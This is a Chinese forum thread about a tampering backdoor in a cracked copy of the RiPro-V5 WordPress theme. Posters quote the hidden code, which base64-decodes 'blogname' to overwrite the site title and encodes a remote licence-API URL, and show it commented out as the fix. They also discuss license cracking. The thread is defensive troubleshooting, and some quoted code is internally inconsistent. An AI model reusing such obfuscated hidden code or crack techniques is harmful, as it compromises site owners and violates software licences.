返回列表 发布新帖
查看: 595|回复: 4

求助riprov5主题修改网站标题小尾巴的办法

发表于 2024-11-20 10:22:49 | 查看全部 |阅读模式

立刻注册账号,享受更清爽的界面!

您需要 登录 才可以下载或查看,没有账号?注册

×
有一个测试站使用的是本站RiPro-V5主题最新免授权版(修复掉授权问题)
有一天网站标题(表wp_options里的blogname字段)被修改为:ripro-v5请使用正版授权-盗版主题后果自负-授权购买官网
据说ripro有篡改标题的后门,有没有大佬能研究一下。
爱生活,爱奶昔~
发表于 2024-11-20 10:28:41 | 查看全部
吾爱破解论坛曾有用户讨论过 RiPro 主题 4.8 版本中存在的后门问题
https://www.52pojie.cn/thread-1074873-1-1.html
放出来只是提供学习。我看了下functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库或文件。但未发现直接更新 blogname 字段的操作,但有可能通过隐式调用(例如依赖其他函数)修改。如果未发现问题,可以通过在可疑文件中增加日志记录的方式追踪问题。

在 functions.php 添加如下代码:
  1. add_action('init', function () {
  2.     $blogname = get_option('blogname');
  3.     error_log('Current blogname: ' . $blogname);
  4. });
复制代码

然后再搜索是否有相关的 get_option 使用:某些函数可能通过读取选项来修改 blogname。
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

 楼主| 发表于 2024-11-20 22:50:58 | 查看全部
functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库
这里应该是生成注册码破解的代码。
在早期的ripro主题的时候,有人经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php 和 metabox.class.php ,这里面就暗藏恶心人的小尾巴。
options.class.php 修改方法:
注释掉如下部分:
  1. public function saves_defaults() {
  2.     $tmp_options = $this->add_option_html();
  3.       
  4.     // if (empty($tmp_options) && $tmp_options['status']==1) {
  5.         return true;
  6.     // }else{
  7.     //     $onload = base64_decode('UmlQcm8=');
  8.     //     $field = base64_decode('YmxvZ25hbWU=');
  9.     //     update_option($field,$onload);
  10.     // }
  11.     return false;
  12.     $tmp_options = $this->options;
  13.     foreach( $this->pre_fields as $field ) {
  14.         if( ! empty( $field['id'] ) ) {
  15.             $this->options[$field['id']] = $this->get_default( $field, $this->options );
  16.         }
  17.     }
  18.     if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
  19.         $this->save_options( $this->options );
  20.     }
  21. }
复制代码

metabox.class.php修改方法:
注释掉如下部分:
  1. public function get_meta_values() {
  2.     $value = false;
  3.     $field = 'https://vip.ylit.cc/wp-cont';
  4.     if( true) {
  5.         if( $this->args['data_type'] !== 'serialize' ) {
  6.             $meta  = get_post_meta( $post->ID, $field['id'] );
  7.             $value = ( isset( $meta[0] ) ) ? $meta[0] : null;
  8.         } else {
  9.             $meta  = get_post_meta( $post->ID, $this->unique, true );
  10.             $value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
  11.         }
  12.         $default = $this->get_default( $field );
  13.         $value   = ( isset( $value ) ) ? $value : $default;
  14.     // }else{
  15.     //     if( empty( $field ) ) {
  16.     //         $screen = get_current_screen();
  17.     //         foreach( $this->args['contextual_help'] as $tab ) {
  18.     //             $screen->add_help_tab( $tab );
  19.     //         }
  20.     //         if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
  21.     //             $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
  22.     //         }
  23.     //     }else{
  24.     //         $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
  25.     //         $default = $field.$meta;
  26.     //         $value = base64_decode($default);
  27.     //     }
  28.     }
  29.     return $value;
  30. }
复制代码


新的riprov5已经修改了文件,今天检索了一下发现很多网站都已经中招

我先加上日志记录的方式,坐等上钩!
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

 楼主| 发表于 2024-11-22 11:28:47 | 查看全部
今天用D盾扫描发现一个文件提示生成脚本后门,我看半天没看出问题在哪

WP_Query.zip

3.43 KB, 下载次数: 0

爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

 楼主| 发表于 2024-11-26 11:48:28 | 查看全部
写了一个插件可以监控和记录数据库表wp_options里字段blogname的所有UPDATE操作,有需要的自行下载

monitor-blogname-updates_JsrrZ.zip

1.05 KB, 下载次数: 0

爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

  • 关注公众号
  • 添加微信客服
© 2025 Naixi Networks 沪ICP备13020230号-1|沪公网安备 31010702007642号
关灯 在本版发帖
扫一扫添加微信客服
返回顶部
快速回复 返回顶部 返回列表